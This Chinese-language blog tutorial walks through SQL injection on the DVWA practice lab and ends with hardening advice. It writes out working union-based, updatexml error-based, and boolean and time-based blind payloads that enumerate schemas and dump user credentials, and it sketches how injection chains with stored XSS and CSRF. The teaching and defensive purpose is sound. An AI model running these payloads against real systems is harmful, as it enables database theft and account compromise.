基于 DVWA 的 SQL 注入实战:联合查询、报错注入与盲注

SQL 注入(SQL Injection)长期位居 OWASP Top 10 榜首,是 Web 安全领域最经典、危害最大的漏洞类型之一。它允许攻击者通过构造恶意输入,篡改后端数据库查询语句,从而窃取、篡改甚至删除敏感数据。DVWA(Damn Vulnerable Web Application)作为一款专为安全教学设计的靶场,提供了从 Low 到 Impossible 四个安全等级,是理解 SQL 注入原理与利用手法的绝佳平台。本文将以 DVWA 的 SQL Injection 模块为环境,系统讲解联合查询注入、报错注入与盲注三种主流技术,并结合 XSS、CSRF 等关联风险,给出安全加固建议。

一、环境准备与漏洞原理

DVWA 默认提供 SQL Injection 页面,用户输入 ID 后,后端执行类似 SELECT first_name, last_name FROM users WHERE user_id = '$id'; 的查询。当输入未经过滤直接拼接时,攻击者即可注入任意 SQL 片段。

将 DVWA 安全等级设为 Low,进入 SQL Injection 模块。正常输入 1 返回 admin 信息,输入 1' 则报错,说明存在字符型注入点。

二、联合查询注入(Union-Based)

联合查询注入是最直观的方式,利用 UNION SELECT 将攻击者构造的查询结果合并到原查询中,直接回显到页面。

第一步:判断字段数
输入 1' ORDER BY 1#1' ORDER BY 2#1' ORDER BY 3#,当 ORDER BY 3 报错时,说明原查询返回 2 个字段。

第二步:确定回显位置
输入 1' UNION SELECT 1,2#,页面显示数字 1 和 2,说明两个字段均可回显。

第三步:提取数据库信息

  • 获取当前数据库名:1' UNION SELECT 1,database()#
  • 获取所有数据库:1' UNION SELECT 1,group_concat(schema_name) FROM information_schema.schemata#
  • 获取 dvwa 库中的表:1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'#
  • 获取 users 表的列:1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'#
  • 提取账号密码:1' UNION SELECT user,password FROM users#

通过以上步骤,攻击者可在数分钟内获取全部用户凭据。若密码为 MD5 哈希,还可通过彩虹表或在线解密快速还原明文。

三、报错注入(Error-Based)

当页面不回显查询结果,但会显示数据库错误信息时,报错注入便派上用场。其核心思想是构造让数据库主动抛出包含敏感信息的错误。

DVWA 中常用 extractvalue()updatexml() 函数。例如:

1' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#

页面会返回 XPATH syntax error: '~dvwa~',从而泄露数据库名。同理可替换子查询获取表名、列名和字段值:

1' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'),0x7e),1)#

报错注入的优势在于无需关心字段数,且在有错误回显的环境中极其高效。但需注意,MySQL 5.1 以上版本才支持 updatexmlextractvalue

四、盲注(Blind Injection)

当页面既不回显数据,也不显示错误信息时,只能通过“真/假”或时间延迟来推断信息,这就是盲注。盲注分为布尔盲注和时间盲注。

布尔盲注:构造条件语句,根据页面返回内容是否正常判断真假。

1' AND (SELECT SUBSTRING(database(),1,1))='d'#

若页面返回正常,说明数据库名首字母为 d。通过逐字符遍历,可完整提取数据。为提高效率,可结合 ASCII 码与二分法:

1' AND ASCII(SUBSTRING(database(),1,1))>100#

时间盲注:当页面无论真假都返回相同内容时,使用 SLEEP() 函数制造延迟。

1' AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(3),0)#

若页面响应延迟 3 秒,则条件为真。时间盲注速度较慢,但适用性最强。实际测试中可借助 sqlmap 等工具自动化完成,但理解手工原理对漏洞研判至关重要。

五、关联风险:XSS 与 CSRF

SQL 注入往往并非孤立存在。在 DVWA 的 XSS 模块中,反射型与存储型 XSS 同样因输入过滤不足导致。攻击者可将 SQL 注入与 XSS 结合:例如通过 SQL 注入篡改数据库中的留言内容,插入恶意 JavaScript,当其他用户浏览时触发存储型 XSS,窃取 Cookie 或发起 CSRF 攻击。CSRF 则利用用户已认证的会话,诱导其执行非预期操作,如修改密码、添加管理员。三者常在同一业务逻辑中相互放大风险。

六、安全加固建议

  1. 参数化查询(预编译语句):使用 PDO 或 MySQLi 的 prepare 方法,从根本上杜绝 SQL 注入。这是最有效的防御手段。
  2. 输入验证与白名单:对 ID 等参数强制类型转换(如 intval()),限制输入格式。
  3. 最小权限原则:数据库账户仅授予必要权限,避免使用 root 连接 Web 应用。
  4. 错误信息隐藏:生产环境关闭详细错误回显,防止报错注入。
  5. XSS 防御:对输出进行 HTML 实体编码,使用 CSP 内容安全策略。
  6. CSRF 防御:为敏感操作添加随机 Token,并验证 Referer。
  7. WAF 与日志监控:部署 Web 应用防火墙,记录并分析异常 SQL 关键词请求。

结语

DVWA 为安全学习者提供了一个安全的实验环境,通过联合查询、报错注入和盲注的实战演练,能够深入理解 SQL 注入的成因与利用链。掌握这些技术并非为了攻击,而是为了在开发与运维中更好地识别风险、编写安全代码。Web 安全是一个整体,SQL 注入、XSS、CSRF 往往相互交织,唯有坚持输入验证、输出编码、最小权限和纵深防御,才能构建真正健壮的应用系统。

未经允许不得转载:任鹏个人博客 » 基于 DVWA 的 SQL 注入实战:联合查询、报错注入与盲注

赞 (0) 打赏

评论 0

取消
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏